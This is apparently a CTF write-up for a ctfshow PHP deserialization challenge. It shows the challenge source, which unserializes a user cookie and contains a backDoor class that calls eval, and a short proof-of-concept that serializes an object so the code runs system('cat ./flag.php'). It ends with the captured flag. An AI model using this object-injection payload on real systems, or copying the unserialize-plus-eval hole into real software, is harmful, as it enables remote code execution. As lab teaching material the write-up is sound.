nginx/1.16.1PHP/7.3.11

    1. <?php
    2. /*
    3. # -*- coding: utf-8 -*-
    4. # @Author: h1xa
    5. # @Date: 2020-12-02 17:44:47
    6. # @Last Modified by: h1xa
    7. # @Last Modified time: 2020-12-02 20:33:07
    8. # @email: h1xa@ctfer.com
    9. # @link: https://ctfer.com
    10. */
    11. error_reporting(0);
    12. highlight_file(__FILE__);
    13. class ctfShowUser{
    14. private $username='xxxxxx';
    15. private $password='xxxxxx';
    16. private $isVip=false;
    17. private $class = 'info';
    18. public function __construct(){
    19. $this->class=new info();
    20. }
    21. public function login($u,$p){
    22. return $this->username===$u&&$this->password===$p;
    23. }
    24. public function __destruct(){
    25. $this->class->getInfo();
    26. }
    27. }
    28. class info{
    29. private $user='xxxxxx';
    30. public function getInfo(){
    31. return $this->user;
    32. }
    33. }
    34. class backDoor{
    35. private $code;
    36. public function getInfo(){
    37. eval($this->code);
    38. }
    39. }
    40. $username=$_GET['username'];
    41. $password=$_GET['password'];
    42. if(isset($username) && isset($password)){
    43. $user = unserialize($_COOKIE['user']);
    44. $user->login($username,$password);
    45. }

    分析:
    触发 backDoor 即可

    poc

    1. <?php
    2. class ctfShowUser{
    3. public function __construct(){
    4. $this->class=new backDoor();
    5. }
    6. }
    7. class backDoor{
    8. private $code = 'system("cat ./flag.php");';
    9. }
    10. $user = new ctfShowUser();
    11. echo(urlencode(serialize($user)));
    12. ?>

    image.png

    flag
    ctfshow{72d54ea0-eb49-41bc-a7e0-6f8c880f7d0d}